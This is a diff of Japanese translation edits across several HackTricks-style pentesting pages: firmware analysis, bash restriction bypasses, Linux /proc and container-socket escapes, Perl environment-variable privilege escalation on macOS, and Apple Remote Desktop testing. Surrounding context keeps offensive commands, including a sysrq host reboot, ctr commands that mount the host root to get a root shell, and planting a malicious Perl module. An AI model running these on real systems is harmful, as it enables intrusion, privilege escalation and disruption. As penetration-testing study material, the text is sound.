- **UART**、**JTAG**、または**PICit**のような接続を通じてデバイスから**抽出**する
|
||||
- デバイス通信内での更新要求を**スニッフィング**する
|
||||
@ -39,7 +39,7 @@
|
||||
|
||||
## ファームウェアの分析
|
||||
|
||||
ファームウェアを**取得した**ので、それに関する情報を抽出してどのように扱うかを知る必要があります。それに使用できるさまざまなツール:
|
||||
ファームウェアを**取得した**ので、それに関する情報を抽出してどのように扱うかを知る必要があります。それに使用できるさまざまなツールがあります:
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
@ -48,7 +48,7 @@ hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head # might find signatures in header
|
||||
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||
```
|
||||
画像の**エントロピー**を`binwalk -E <bin>`で確認し、エントロピーが低ければ暗号化されていない可能性が高いです。エントロピーが高ければ、暗号化されている(または何らかの方法で圧縮されている)可能性があります。
|
||||
もしこれらのツールであまり見つからない場合は、`binwalk -E <bin>`を使って画像の**エントロピー**を確認してください。エントロピーが低い場合、暗号化されている可能性は低いです。エントロピーが高い場合、暗号化されている(または何らかの方法で圧縮されている)可能性があります。
|
||||
|
||||
さらに、これらのツールを使用して**ファームウェア内に埋め込まれたファイル**を抽出できます:
|
||||
|
||||
@ -60,12 +60,12 @@ fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||
|
||||
### ファイルシステムの取得
|
||||
|
||||
前述のツール`binwalk -ev <bin>`を使用して**ファイルシステムを抽出**できたはずです。\
|
||||
前述のツール、例えば`binwalk -ev <bin>`を使用することで、**ファイルシステムを抽出**できるはずです。\
|
||||
Binwalkは通常、**ファイルシステムのタイプに名前を付けたフォルダー**内に抽出します。通常、以下のいずれかです:squashfs、ubifs、romfs、rootfs、jffs2、yaffs2、cramfs、initramfs。
|
||||
|
||||
#### 手動ファイルシステム抽出
|
||||
|
||||
場合によっては、binwalkが**ファイルシステムのマジックバイトをシグネチャに持っていない**ことがあります。このような場合は、binwalkを使用して**ファイルシステムのオフセットを見つけ、バイナリから圧縮されたファイルシステムを切り出し、以下の手順に従ってそのタイプに応じてファイルシステムを**手動で抽出**します。
|
||||
時々、binwalkは**ファイルシステムのマジックバイトをシグネチャに持っていない**ことがあります。このような場合は、binwalkを使用して**ファイルシステムのオフセットを見つけ、バイナリから圧縮されたファイルシステムを切り出し、以下の手順に従ってそのタイプに応じてファイルシステムを**手動で抽出**します。
|
||||
```
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
@ -101,11 +101,11 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
`$ cpio -ivd --no-absolute-filenames -F <bin>`
|
||||
|
||||
- jffs2ファイルシステム用
|
||||
- jffs2ファイルシステムの場合
|
||||
|
||||
`$ jefferson rootfsfile.jffs2`
|
||||
|
||||
- NANDフラッシュを使用したubifsファイルシステム用
|
||||
- NANDフラッシュを使用したubifsファイルシステムの場合
|
||||
|
||||
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
|
||||
|
||||
@ -132,7 +132,7 @@ fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
||||
|
||||
### ファイルシステムの抽出
|
||||
|
||||
`binwalk -ev <bin>`を使用することで、通常はファイルシステムを抽出でき、しばしばファイルシステムタイプ(例:squashfs、ubifs)にちなんだ名前のディレクトリに抽出されます。しかし、**binwalk**がマジックバイトの欠如によりファイルシステムタイプを認識できない場合、手動抽出が必要です。これには、`binwalk`を使用してファイルシステムのオフセットを特定し、その後`dd`コマンドを使用してファイルシステムを切り出します:
|
||||
`binwalk -ev <bin>`を使用することで、通常はファイルシステムを抽出でき、しばしばファイルシステムタイプ(例:squashfs、ubifs)にちなんだ名前のディレクトリに抽出されます。しかし、**binwalk**がマジックバイトの欠如によりファイルシステムタイプを認識できない場合、手動抽出が必要です。これには、`binwalk`を使用してファイルシステムのオフセットを特定し、その後`dd`コマンドを使用してファイルシステムを切り出します。
|
||||
```bash
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
@ -142,17 +142,17 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
### ファイルシステム分析
|
||||
|
||||
ファイルシステムが抽出されると、セキュリティの欠陥を探す作業が始まります。注意が払われるのは、安全でないネットワークデーモン、ハードコーディングされた認証情報、APIエンドポイント、更新サーバーの機能、未コンパイルのコード、スタートアップスクリプト、オフライン分析用のコンパイル済みバイナリです。
|
||||
ファイルシステムが抽出されると、セキュリティの欠陥を探す作業が始まります。注意が払われるのは、安全でないネットワークデーモン、ハードコーディングされた資格情報、APIエンドポイント、更新サーバーの機能、未コンパイルのコード、スタートアップスクリプト、オフライン分析用のコンパイル済みバイナリです。
|
||||
|
||||
**確認すべき主要な場所**と**項目**には以下が含まれます:
|
||||
|
||||
- **etc/shadow** と **etc/passwd** のユーザー認証情報
|
||||
- **etc/ssl** のSSL証明書と鍵
|
||||
- **etc/shadow** と **etc/passwd** のユーザー資格情報
|
||||
- **etc/ssl** のSSL証明書とキー
|
||||
- 潜在的な脆弱性のための設定ファイルとスクリプトファイル
|
||||
- さらなる分析のための埋め込まれたバイナリ
|
||||
- 一般的なIoTデバイスのウェブサーバーとバイナリ
|
||||
|
||||
いくつかのツールがファイルシステム内の機密情報や脆弱性を発見するのを助けます:
|
||||
いくつかのツールがファイルシステム内の機密情報や脆弱性を明らかにするのを助けます:
|
||||
|
||||
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) と [**Firmwalker**](https://github.com/craigz28/firmwalker) の機密情報検索
|
||||
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) の包括的なファームウェア分析
|
||||
@ -164,11 +164,11 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
## 動的分析のためのファームウェアのエミュレーション
|
||||
|
||||
ファームウェアをエミュレートするプロセスは、デバイスの動作または個々のプログラムの**動的分析**を可能にします。このアプローチは、ハードウェアやアーキテクチャの依存関係に関する課題に直面することがありますが、ルートファイルシステムや特定のバイナリを、Raspberry Piのような一致するアーキテクチャとエンディアンネスを持つデバイスや、事前構築された仮想マシンに転送することで、さらなるテストが容易になります。
|
||||
ファームウェアをエミュレートするプロセスは、デバイスの動作または個々のプログラムの**動的分析**を可能にします。このアプローチは、ハードウェアやアーキテクチャの依存関係に関する課題に直面することがありますが、ルートファイルシステムや特定のバイナリを、アーキテクチャとエンディアンが一致するデバイス(例:Raspberry Pi)や事前構築された仮想マシンに転送することで、さらなるテストが容易になります。
|
||||
|
||||
### 個々のバイナリのエミュレーション
|
||||
|
||||
単一のプログラムを調査するためには、プログラムのエンディアンネスとCPUアーキテクチャを特定することが重要です。
|
||||
単一のプログラムを調査するためには、プログラムのエンディアンとCPUアーキテクチャを特定することが重要です。
|
||||
|
||||
#### MIPSアーキテクチャの例
|
||||
|
||||
@ -200,30 +200,30 @@ ARMバイナリの場合、プロセスは似ており、エミュレーショ
|
||||
|
||||
## バイナリの悪用と概念実証
|
||||
|
||||
特定された脆弱性のPoCを開発するには、ターゲットアーキテクチャの深い理解と低レベル言語でのプログラミングが必要です。組み込みシステムにおけるバイナリ実行時保護は稀ですが、存在する場合は、リターン指向プログラミング(ROP)などの技術が必要になることがあります。
|
||||
特定された脆弱性のPoCを開発するには、ターゲットアーキテクチャと低レベル言語でのプログラミングに関する深い理解が必要です。組み込みシステムにおけるバイナリ実行時保護は稀ですが、存在する場合は、リターン指向プログラミング(ROP)などの技術が必要になることがあります。
|
||||
|
||||
## ファームウェア分析のための準備されたオペレーティングシステム
|
||||
|
||||
[AttifyOS](https://github.com/adi0x90/attifyos) や [EmbedOS](https://github.com/scriptingxss/EmbedOS) のようなオペレーティングシステムは、必要なツールを備えたファームウェアセキュリティテストのための事前構成された環境を提供します。
|
||||
[AttifyOS](https://github.com/adi0x90/attifyos) や [EmbedOS](https://github.com/scriptingxss/EmbedOS) などのオペレーティングシステムは、必要なツールを備えたファームウェアセキュリティテストのための事前構成された環境を提供します。
|
||||
|
||||
## ファームウェアを分析するための準備されたOS
|
||||
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOSは、IoTデバイスのセキュリティ評価とペネトレーションテストを行うためのディストリビューションです。必要なツールがすべてロードされた事前構成された環境を提供することで、多くの時間を節約します。
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): ファームウェアセキュリティテストツールがプリロードされたUbuntu 18.04に基づく組み込みセキュリティテストオペレーティングシステムです。
|
||||
|
||||
## ファームウェアダウングレード攻撃と不正な更新メカニズム
|
||||
## ファームウェアダウングレード攻撃と安全でない更新メカニズム
|
||||
|
||||
ベンダーがファームウェアイメージの暗号署名チェックを実装しても、**バージョンロールバック(ダウングレード)保護はしばしば省略されます**。ブートローダーまたはリカバリーローダーが埋め込まれた公開鍵で署名を検証するだけで、フラッシュされるイメージの*バージョン*(または単調カウンター)を比較しない場合、攻撃者は**有効な署名を持つ古い脆弱なファームウェアを正当にインストール**し、修正された脆弱性を再導入することができます。
|
||||
ベンダーがファームウェアイメージの暗号署名チェックを実装しても、**バージョンロールバック(ダウングレード)保護はしばしば省略されます**。ブートローダーまたはリカバリーローダーが埋め込まれた公開鍵で署名を確認するだけで、フラッシュされるイメージの*バージョン*(または単調カウンター)を比較しない場合、攻撃者は**有効な署名を持つ古い脆弱なファームウェアを正当にインストール**でき、修正された脆弱性を再導入することができます。
|
||||
|
||||
典型的な攻撃ワークフロー:
|
||||
|
||||
1. **古い署名済みイメージを取得**
|
||||
* ベンダーの公開ダウンロードポータル、CDN、またはサポートサイトから取得します。
|
||||
* 付属のモバイル/デスクトップアプリケーションから抽出します(例:Android APKの `assets/firmware/` 内)。
|
||||
* 付随するモバイル/デスクトップアプリケーションから抽出します(例:Android APKの `assets/firmware/` 内)。
|
||||
* VirusTotal、インターネットアーカイブ、フォーラムなどのサードパーティリポジトリから取得します。
|
||||
2. **デバイスにイメージをアップロードまたは提供** します:
|
||||
2. **イメージをデバイスにアップロードまたは提供** します:
|
||||
* Web UI、モバイルアプリAPI、USB、TFTP、MQTTなど。
|
||||
* 多くの消費者向けIoTデバイスは、Base64エンコードされたファームウェアブロブを受け入れる*認証されていない* HTTP(S) エンドポイントを公開し、サーバー側でデコードしてリカバリ/アップグレードをトリガーします。
|
||||
* 多くの消費者向けIoTデバイスは、Base64エンコードされたファームウェアブロブを受け入れる*認証されていない* HTTP(S) エンドポイントを公開し、サーバー側でデコードし、リカバリ/アップグレードをトリガーします。
|
||||
3. ダウングレード後、最新のリリースで修正された脆弱性を悪用します(例えば、後で追加されたコマンドインジェクションフィルターなど)。
|
||||
4. オプションで、最新のイメージを再フラッシュするか、持続性を得た後に検出を避けるために更新を無効にします。
|
||||
|
||||
@ -247,10 +247,10 @@ firmware_v1.3.11.490_signed.bin
|
||||
### アップデートロジック評価のチェックリスト
|
||||
|
||||
* *アップデートエンドポイント*の輸送/認証は適切に保護されていますか(TLS + 認証)?
|
||||
* デバイスはフラッシングの前に**バージョン番号**または**単調なアンチロールバックカウンター**を比較しますか?
|
||||
* デバイスはフラッシュする前に**バージョン番号**または**単調なアンチロールバックカウンター**を比較しますか?
|
||||
* 画像はセキュアブートチェーン内で検証されていますか(例:ROMコードによる署名の確認)?
|
||||
* ユーザーランドコードは追加の整合性チェックを行いますか(例:許可されたパーティションマップ、モデル番号)?
|
||||
* *部分的*または*バックアップ*のアップデートフローは同じ検証ロジックを再利用していますか?
|
||||
* ユーザーランドコードは追加のサニティチェックを行いますか(例:許可されたパーティションマップ、モデル番号)?
|
||||
* *部分的*または*バックアップ*アップデートフローは同じ検証ロジックを再利用していますか?
|
||||
|
||||
> 💡 上記のいずれかが欠けている場合、プラットフォームはロールバック攻撃に対して脆弱である可能性があります。
|
||||
|
||||
|
@ -144,7 +144,7 @@ echo ${PATH:0:1} #/
|
||||
|
||||
### ビルトイン
|
||||
|
||||
外部関数を実行できず、**RCEを取得するための限られたビルトインのセット**にしかアクセスできない場合、いくつかの便利なトリックがあります。通常、**すべての**ビルトインを使用することはできないため、**すべてのオプションを知っておく**必要があります。アイデアは[**devploit**](https://twitter.com/devploit)から。\
|
||||
外部関数を実行できず、**RCEを取得するための限られたビルトインのセット**にしかアクセスできない場合、いくつかの便利なトリックがあります。通常、**すべての**ビルトインを使用することはできないので、**すべてのオプションを知っておく**必要があります。アイデアは[**devploit**](https://twitter.com/devploit)から。\
|
||||
まず、すべての[**シェルビルトイン**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**を確認してください。** それから、いくつかの**推奨事項**があります:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
@ -296,7 +296,7 @@ ln /f*
|
||||
```
|
||||
## 読み取り専用/Noexec/Distroless バイパス
|
||||
|
||||
**読み取り専用および noexec 保護** のあるファイルシステムや、distroless コンテナ内にいる場合でも、**任意のバイナリを実行する方法、さらにはシェルを実行する方法があります!:**
|
||||
**読み取り専用および noexec 保護**があるファイルシステム内や、distroless コンテナ内にいる場合でも、**任意のバイナリを実行する方法、さらにはシェルを実行する方法があります!:**
|
||||
|
||||
{{#ref}}
|
||||
bypass-fs-protections-read-only-no-exec-distroless/
|
||||
@ -310,7 +310,7 @@ bypass-fs-protections-read-only-no-exec-distroless/
|
||||
|
||||
## スペースベースの Bash NOP スレッド ("Bashsledding")
|
||||
|
||||
脆弱性により、最終的に `system()` または別のシェルに到達する引数を部分的に制御できる場合、実行がペイロードを読み始める正確なオフセットがわからないことがあります。従来の NOP スレッド(例: `\x90`)はシェル構文では **機能しません** が、Bash はコマンドを実行する前に先頭の空白を無害に無視します。
|
||||
脆弱性により、最終的に `system()` または別のシェルに到達する引数を部分的に制御できる場合、実行がペイロードを読み始める正確なオフセットがわからないことがあります。従来の NOP スレッド(例: `\x90`)はシェル構文では**機能しません**が、Bash はコマンドを実行する前に先頭の空白を無害に無視します。
|
||||
|
||||
したがって、実際のコマンドの前に長いスペースまたはタブ文字のシーケンスを付加することで、*Bash 用の NOP スレッド*を作成できます:
|
||||
```bash
|
||||
@ -322,11 +322,11 @@ bypass-fs-protections-read-only-no-exec-distroless/
|
||||
|
||||
実用的な使用例:
|
||||
|
||||
1. **メモリマップされた設定ブロブ**(例:NVRAM)で、プロセス間でアクセス可能なもの。
|
||||
1. **メモリマップされた設定バイナリ**(例:NVRAM)で、プロセス間でアクセス可能なもの。
|
||||
2. 攻撃者がペイロードを整列させるためにNULLバイトを書き込むことができない状況。
|
||||
3. BusyBox `ash`/`sh`のみが利用可能な組み込みデバイス – これらも先頭のスペースを無視します。
|
||||
|
||||
> 🛠️ このトリックを`system()`を呼び出すROPガジェットと組み合わせることで、メモリ制約のあるIoTルーターでのエクスプロイトの信頼性を大幅に向上させることができます。
|
||||
> 🛠️ このトリックをROPガジェットと組み合わせて`system()`を呼び出すことで、メモリ制約のあるIoTルーターでのエクスプロイトの信頼性を大幅に向上させます。
|
||||
|
||||
## 参考文献とその他
|
||||
|
||||
@ -335,6 +335,6 @@ bypass-fs-protections-read-only-no-exec-distroless/
|
||||
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju)
|
||||
|
||||
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
||||
- [放棄されたハードウェアのゼロデイを悪用する – Trail of Bitsブログ](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -40,11 +40,11 @@ session required /lib/security/pam_unix_session.so
|
||||
- **Required**: 必須モジュールの失敗は最終的な失敗を引き起こしますが、すべての後続モジュールがチェックされた後にのみ発生します。
|
||||
- **Requisite**: 失敗時にプロセスを即座に終了します。
|
||||
- **Sufficient**: 成功は同じ領域の残りのチェックをバイパスしますが、後続のモジュールが失敗した場合は除きます。
|
||||
- **Optional**: スタック内で唯一のモジュールである場合にのみ失敗を引き起こします。
|
||||
- **Optional**: スタック内の唯一のモジュールである場合にのみ失敗を引き起こします。
|
||||
|
||||
#### 例のシナリオ
|
||||
|
||||
複数のauthモジュールを持つセットアップでは、プロセスは厳格な順序に従います。`pam_securetty`モジュールがログイン端末を無許可と見なすと、rootログインはブロックされますが、その「required」ステータスのためにすべてのモジュールは処理され続けます。`pam_env`は環境変数を設定し、ユーザーエクスペリエンスを向上させる可能性があります。`pam_ldap`と`pam_unix`モジュールは協力してユーザーを認証し、`pam_unix`は以前に提供されたパスワードを使用しようとし、認証方法の効率と柔軟性を高めます。
|
||||
複数のauthモジュールを持つセットアップでは、プロセスは厳格な順序に従います。`pam_securetty`モジュールがログイン端末を不正と見なすと、rootログインはブロックされますが、その「required」ステータスのためにすべてのモジュールは処理され続けます。`pam_env`は環境変数を設定し、ユーザーエクスペリエンスを向上させる可能性があります。`pam_ldap`と`pam_unix`モジュールは協力してユーザーを認証し、`pam_unix`は以前に提供されたパスワードを使用しようとし、認証方法の効率と柔軟性を高めます。
|
||||
|
||||
## PAMのバックドア – `pam_unix.so`のフック
|
||||
|
||||
|
@ -15,7 +15,7 @@
|
||||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
- [core(5)](https://man7.org/linux/man-pages/man5/core.5.html)で説明されています。
|
||||
- このファイルに書き込むことができる場合、パイプ`|`の後にプログラムまたはスクリプトのパスを書き込むことが可能で、クラッシュが発生した後に実行されます。
|
||||
- このファイルに書き込むことができる場合、パイプ`|`の後にプログラムまたはスクリプトのパスを書き込むことができ、クラッシュが発生した後に実行されます。
|
||||
- 攻撃者は、`mount`を実行してホスト内のコンテナへのパスを見つけ、そのパスをコンテナのファイルシステム内のバイナリに書き込むことができます。その後、プログラムをクラッシュさせてカーネルがコンテナの外でバイナリを実行するようにします。
|
||||
|
||||
- **テストと悪用の例**:
|
||||
@ -90,7 +90,7 @@ echo b > /proc/sysrq-trigger # ホストを再起動
|
||||
|
||||
- カーネルがエクスポートしたシンボルとそのアドレスをリストします。
|
||||
- KASLRを克服するためのカーネルエクスプロイト開発に不可欠です。
|
||||
- アドレス情報は`kptr_restrict`が`1`または`2`に設定されている場合に制限されます。
|
||||
- アドレス情報は、`kptr_restrict`が`1`または`2`に設定されている場合に制限されます。
|
||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)の詳細。
|
||||
|
||||
#### **`/proc/[pid]/mem`**
|
||||
@ -306,7 +306,7 @@ Attack example abusing a mounted **containerd** socket:
|
||||
ctr --address /host/run/containerd.sock images pull docker.io/library/busybox:latest
|
||||
ctr --address /host/run/containerd.sock run --tty --privileged --mount \
|
||||
type=bind,src=/,dst=/host,options=rbind:rw docker.io/library/busybox:latest host /bin/sh
|
||||
chroot /host /bin/bash # ホスト上でのフルルートシェル
|
||||
chroot /host /bin/bash # ホスト上のフルルートシェル
|
||||
```
|
||||
|
||||
A similar technique works with **crictl**, **podman** or the **kubelet** API once their respective sockets are exposed.
|
||||
|
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Via `PERL5OPT` & `PERL5LIB` env variable
|
||||
## `PERL5OPT` と `PERL5LIB` 環境変数を使用して
|
||||
|
||||
環境変数 **`PERL5OPT`** を使用すると、インタープリタが起動する際に(ターゲットスクリプトの最初の行が解析される**前に**)**Perl** が任意のコマンドを実行することが可能です。
|
||||
環境変数 **`PERL5OPT`** を使用すると、**Perl** がインタープリタが起動する際に任意のコマンドを実行することが可能です(ターゲットスクリプトの最初の行が解析される**前に**でも)。
|
||||
例えば、このスクリプトを作成します:
|
||||
```perl:test.pl
|
||||
#!/usr/bin/perl
|
||||
@ -37,7 +37,7 @@ sudo perl -d /usr/bin/some_admin_script.pl # スクリプトを実行する前
|
||||
|
||||
* **`PERL5SHELL`** – Windows では、この変数は Perl がシェルを生成する必要があるときに使用するシェル実行可能ファイルを制御します。これは macOS では関連性がないため、完全性のためにのみここに言及されています。
|
||||
|
||||
`PERL5DB` は `-d` スイッチを必要としますが、冗長なトラブルシューティングのためにこのフラグが有効な状態で *root* として実行されるメンテナンスやインストーラスクリプトを見つけることは一般的であり、この変数は有効なエスカレーションベクトルとなります。
|
||||
`PERL5DB` は `-d` スイッチを必要としますが、冗長なトラブルシューティングのためにこのフラグが有効な状態で *root* として実行されるメンテナンスやインストーラスクリプトを見つけることは一般的であり、この変数は有効なエスカレーションベクターとなります。
|
||||
|
||||
## 依存関係を介して (@INC の悪用)
|
||||
|
||||
@ -57,18 +57,18 @@ macOS 13/14の典型的な出力は次のようになります:
|
||||
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
|
||||
/System/Library/Perl/Extras/5.30
|
||||
```
|
||||
いくつかの返されたフォルダは存在しませんが、**`/Library/Perl/5.30`** は存在し、SIPによって保護されておらず、SIPで保護されたフォルダの*前*にあります。したがって、*root*として書き込むことができれば、悪意のあるモジュール(例:`File/Basename.pm`)をドロップすることができ、そのモジュールをインポートする特権スクリプトによって*優先的に*読み込まれます。
|
||||
いくつかの返されたフォルダーは存在しませんが、**`/Library/Perl/5.30`** は存在し、SIPによって保護されておらず、SIPで保護されたフォルダーの*前*にあります。したがって、*root*として書き込むことができれば、悪意のあるモジュール(例:`File/Basename.pm`)をドロップすることができ、そのモジュールをインポートする特権スクリプトによって*優先的に*読み込まれます。
|
||||
|
||||
> [!WARNING]
|
||||
> `/Library/Perl`内に書き込むには依然として**root**が必要であり、macOSは書き込み操作を行うプロセスに対して*フルディスクアクセス*を要求する**TCC**プロンプトを表示します。
|
||||
> `/Library/Perl` 内に書き込むには依然として**root**が必要であり、macOSは書き込み操作を行うプロセスに対して*フルディスクアクセス*を要求する**TCC**プロンプトを表示します。
|
||||
|
||||
例えば、スクリプトが**`use File::Basename;`**をインポートしている場合、攻撃者が制御するコードを含む`/Library/Perl/5.30/File/Basename.pm`を作成することが可能です。
|
||||
例えば、スクリプトが **`use File::Basename;`** をインポートしている場合、攻撃者が制御するコードを含む `/Library/Perl/5.30/File/Basename.pm` を作成することが可能です。
|
||||
|
||||
## Migration Assistantを介したSIPバイパス (CVE-2023-32369 “Migraine”)
|
||||
|
||||
2023年5月、Microsoftは**CVE-2023-32369**を開示しました。これは**Migraine**と呼ばれるポストエクスプロイト技術で、*root*攻撃者がシステム整合性保護(SIP)を完全に**バイパス**することを可能にします。脆弱なコンポーネントは**`systemmigrationd`**で、**`com.apple.rootless.install.heritable`**という権限を持つデーモンです。このデーモンによって生成された子プロセスは、権限を継承し、したがってSIPの制限の**外部**で実行されます。
|
||||
2023年5月、Microsoftは**CVE-2023-32369**を開示しました。これは**Migraine**と呼ばれる、*root*攻撃者がシステム整合性保護(SIP)を完全に**バイパス**することを可能にするポストエクスプロイト技術です。脆弱なコンポーネントは**`systemmigrationd`**であり、**`com.apple.rootless.install.heritable`**という権限を持つデーモンです。このデーモンによって生成された子プロセスはすべてその権限を継承し、したがってSIPの制限の**外部**で実行されます。
|
||||
|
||||
研究者によって特定された子プロセスの中には、Appleが署名したインタープリタがあります:
|
||||
研究者によって特定された子プロセスの中には、Appleが署名したインタープリターがあります:
|
||||
```
|
||||
/usr/bin/perl /usr/libexec/migrateLocalKDC …
|
||||
```
|
||||
@ -88,7 +88,7 @@ AppleはmacOS **Ventura 13.4**、**Monterey 12.6.6**、および**Big Sur 11.7.7
|
||||
|
||||
1. **危険な変数をクリアする** – 特権のあるlaunchdaemonsやcronジョブは、クリーンな環境で開始するべきです(`launchctl unsetenv PERL5OPT`、`env -i`など)。
|
||||
2. **必要不可欠でない限り、rootとしてインタプリタを実行しない**。コンパイルされたバイナリを使用するか、早期に権限を降下させます。
|
||||
3. **`-T`(汚染モード)でベンダースクリプトを実行する**ことで、Perlが汚染チェックが有効なときに`PERL5OPT`や他の安全でないスイッチを無視します。
|
||||
3. **ベンダースクリプトに`-T`(汚染モード)を使用する**ことで、Perlが汚染チェックが有効なときに`PERL5OPT`やその他の安全でないスイッチを無視します。
|
||||
4. **macOSを最新の状態に保つ** – “Migraine”は現在のリリースで完全にパッチが適用されています。
|
||||
|
||||
## 参考文献
|
||||
|
@ -24,30 +24,30 @@ printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharin
|
||||
```
|
||||
### Pentesting ARD
|
||||
|
||||
Apple Remote Desktop (ARD)は、macOS向けに特別に設計された[Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing)の強化版で、追加機能を提供します。ARDの注目すべき脆弱性は、制御画面のパスワードの認証方法で、パスワードの最初の8文字のみを使用するため、[ブルートフォース攻撃](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html)に対して脆弱であり、Hydraや[GoRedShell](https://github.com/ahhh/GoRedShell/)のようなツールを使用することで攻撃されやすく、デフォルトのレート制限がないためです。
|
||||
Apple Remote Desktop (ARD) は、macOS 向けに特別に設計された [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) の強化版で、追加機能を提供します。ARD の顕著な脆弱性は、制御画面パスワードの認証方法で、パスワードの最初の 8 文字のみを使用するため、Hydra や [GoRedShell](https://github.com/ahhh/GoRedShell/) のようなツールを使用した [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) に対して脆弱です。デフォルトのレート制限がないためです。
|
||||
|
||||
脆弱なインスタンスは、**nmap**の`vnc-info`スクリプトを使用して特定できます。`VNC Authentication (2)`をサポートするサービスは、8文字のパスワードの切り捨てにより、特にブルートフォース攻撃に対して脆弱です。
|
||||
脆弱なインスタンスは、**nmap** の `vnc-info` スクリプトを使用して特定できます。`VNC Authentication (2)` をサポートするサービスは、8 文字のパスワード切り捨てのため、特にブルートフォース攻撃に対して脆弱です。
|
||||
|
||||
特権昇格、GUIアクセス、またはユーザーモニタリングなどのさまざまな管理タスクのためにARDを有効にするには、次のコマンドを使用します:
|
||||
特権昇格、GUI アクセス、またはユーザー監視などのさまざまな管理タスクのために ARD を有効にするには、次のコマンドを使用します:
|
||||
```bash
|
||||
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
|
||||
```
|
||||
ARDは、観察、共有制御、完全制御を含む多様な制御レベルを提供し、ユーザーパスワードの変更後もセッションが持続します。これにより、Unixコマンドを直接送信し、管理者ユーザーとしてrootで実行することができます。タスクスケジューリングやリモートSpotlight検索は、複数のマシンにわたる機密ファイルのリモートでの低影響検索を容易にする注目すべき機能です。
|
||||
ARDは、観察、共有制御、完全制御を含む多様な制御レベルを提供し、ユーザーパスワードの変更後もセッションが持続します。これにより、Unixコマンドを直接送信し、管理者ユーザーとしてrootで実行することができます。タスクスケジューリングやリモートSpotlight検索は注目すべき機能であり、複数のマシンにわたる機密ファイルのリモートでの低影響検索を容易にします。
|
||||
|
||||
#### 最近の画面共有 / ARDの脆弱性 (2023-2025)
|
||||
|
||||
| 年 | CVE | コンポーネント | 影響 | 修正済み |
|
||||
|------|------------------|-----------------------------|--------------------------------------------------------------|------------------------------|
|
||||
| 2023 | CVE-2023-42940 | 画面共有 | 不正なセッションレンダリングにより、*誤った*デスクトップまたはウィンドウが送信され、機密情報が漏洩する可能性がある | macOS Sonoma 14.2.1 (2023年12月) |
|
||||
| 2024 | CVE-2024-23296 | launchservicesd / login | 成功したリモートログイン後に連鎖可能なカーネルメモリ保護バイパス(実際に悪用されている) | macOS Ventura 13.6.4 / Sonoma 14.4 (2024年3月) |
|
||||
| 年 | CVE | コンポーネント | 影響 | 修正済み |
|
||||
|------|-----|-----------|--------|----------|
|
||||
|2023|CVE-2023-42940|画面共有|不正なセッションレンダリングにより、*誤った*デスクトップまたはウィンドウが送信され、機密情報が漏洩する可能性がある|macOS Sonoma 14.2.1 (2023年12月) |
|
||||
|2024|CVE-2024-23296|launchservicesd / login|成功したリモートログイン後に連鎖可能なカーネルメモリ保護バイパス(実際に悪用されている)|macOS Ventura 13.6.4 / Sonoma 14.4 (2024年3月) |
|
||||
|
||||
**ハードニングのヒント**
|
||||
|
||||
* 必要ない場合は*画面共有*/*リモート管理*を無効にする。
|
||||
* macOSを完全にパッチ適用する(Appleは一般的に最新の3つのメジャーリリースに対してセキュリティ修正を提供します)。
|
||||
* **強力なパスワード**を使用し、可能な限り*「VNCビューワーはパスワードで画面を制御できる」*オプションを**無効**にする。
|
||||
* サービスをVPNの背後に置き、TCP 5900/3283をインターネットにさらさない。
|
||||
* `ARDAgent`をローカルサブネットに制限するアプリケーションファイアウォールルールを追加する:
|
||||
* 必要ない場合は*画面共有*/*リモート管理*を無効にします。
|
||||
* macOSを完全にパッチ適用します(Appleは一般的に最新の3つのメジャーリリースに対してセキュリティ修正を提供します)。
|
||||
* **強力なパスワード**を使用し、可能な限り*「VNCビューワーはパスワードで画面を制御できる」*オプションを**無効**にします。
|
||||
* サービスをVPNの背後に置き、TCP 5900/3283をインターネットにさらさないようにします。
|
||||
* `ARDAgent`をローカルサブネットに制限するアプリケーションファイアウォールルールを追加します:
|
||||
|
||||
```bash
|
||||
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --add /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent
|
||||
